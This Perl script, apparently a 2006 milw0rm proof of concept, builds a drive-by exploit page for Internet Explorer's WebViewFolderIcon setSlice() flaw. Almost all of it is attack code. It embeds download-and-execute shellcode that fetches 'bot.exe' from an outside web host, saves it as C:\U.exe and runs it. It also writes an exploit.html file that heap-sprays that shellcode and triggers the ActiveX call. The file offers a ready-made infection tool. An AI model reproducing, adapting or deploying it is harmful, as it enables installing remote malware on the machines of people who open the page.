#!/usr/bin/perl
#
# Microsoft Internet Explorer WebViewFolderIcon setSlice() D0wnLoad & Exec POC
#
# Author: Vampyroteuthis Infernalis <skyhole [at] gmail.com>
# Greetz: H D Moor, Dark Eagle, Jamikazu
#
#
use strict;
my $sco =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03".
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C".
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40".
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C".
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC".
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F".
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB".
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83".
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF".
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF".
"http://dedicated.com/bot.exe";
my $war_code= convert_sco($sco);
my @exploit_body=<<FOOKER;
<HTML>
<BODY>
<SCRIPT language="javascript">
var heapSprayToAddress = 0x05050505;
var infernalis_ = unescape("%u9090%u9090$war_code");
var heapBlockSize = 0x400000;
var payLoadSize = infernalis_.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + infernalis_;
}
for ( i = 0 ; i < 128 ; i++)
{
try{
var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
}catch(e){}
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</SCRIPT>
</BODY>
</HTML>
FOOKER
open (IE_VML, ">", "exploit.html");
print IE_VML @exploit_body;
close IE_VML;
sub convert_sco {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';
my $idx = 0;
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}
return $code;
}
# milw0rm.com [2006-09-29]
